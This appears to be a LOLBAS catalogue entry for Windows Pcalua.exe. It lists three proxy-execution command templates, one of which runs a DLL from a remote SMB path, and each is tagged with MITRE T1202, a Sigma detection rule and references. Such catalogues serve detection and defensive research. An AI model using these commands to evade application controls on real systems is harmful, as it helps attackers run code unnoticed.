LOL · Binary

Pcalua.exe

3 techniquesWindowsLOLBASGPL-3.0

Execute

ExecutionWindows

Open the target .EXE using the Program Compatibility Assistant.

Use Proxy execution of binary

pcalua.exe -a {PATH:.exe}

Evidence: Upstream reference
Environment: Local host
Context: user
Native: Execute
MITRE: T1202
Detection: Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_pcalua.yml
Refs: twitter.com/KyleHanslovan/status/912659279806640128
lolbas-project.github.io/lolbas/Binaries/Pcalua/

Execute

ExecutionWindows

Open the target .DLL file with the Program Compatibilty Assistant.

Use Proxy execution of remote dll file

pcalua.exe -a {PATH_SMB:.dll}

Evidence: Upstream reference
Environment: Local host
Context: user
Native: Execute
MITRE: T1202
Detection: Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_pcalua.yml
Refs: twitter.com/KyleHanslovan/status/912659279806640128
lolbas-project.github.io/lolbas/Binaries/Pcalua/

Execute

ExecutionWindows

Open the target .CPL file with the Program Compatibility Assistant.

Use Execution of CPL files

pcalua.exe -a {PATH_ABSOLUTE:.cpl} -c Java

Evidence: Upstream reference
Environment: Local host
Context: user
Native: Execute
MITRE: T1202
Detection: Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_pcalua.yml
Refs: twitter.com/KyleHanslovan/status/912659279806640128
lolbas-project.github.io/lolbas/Binaries/Pcalua/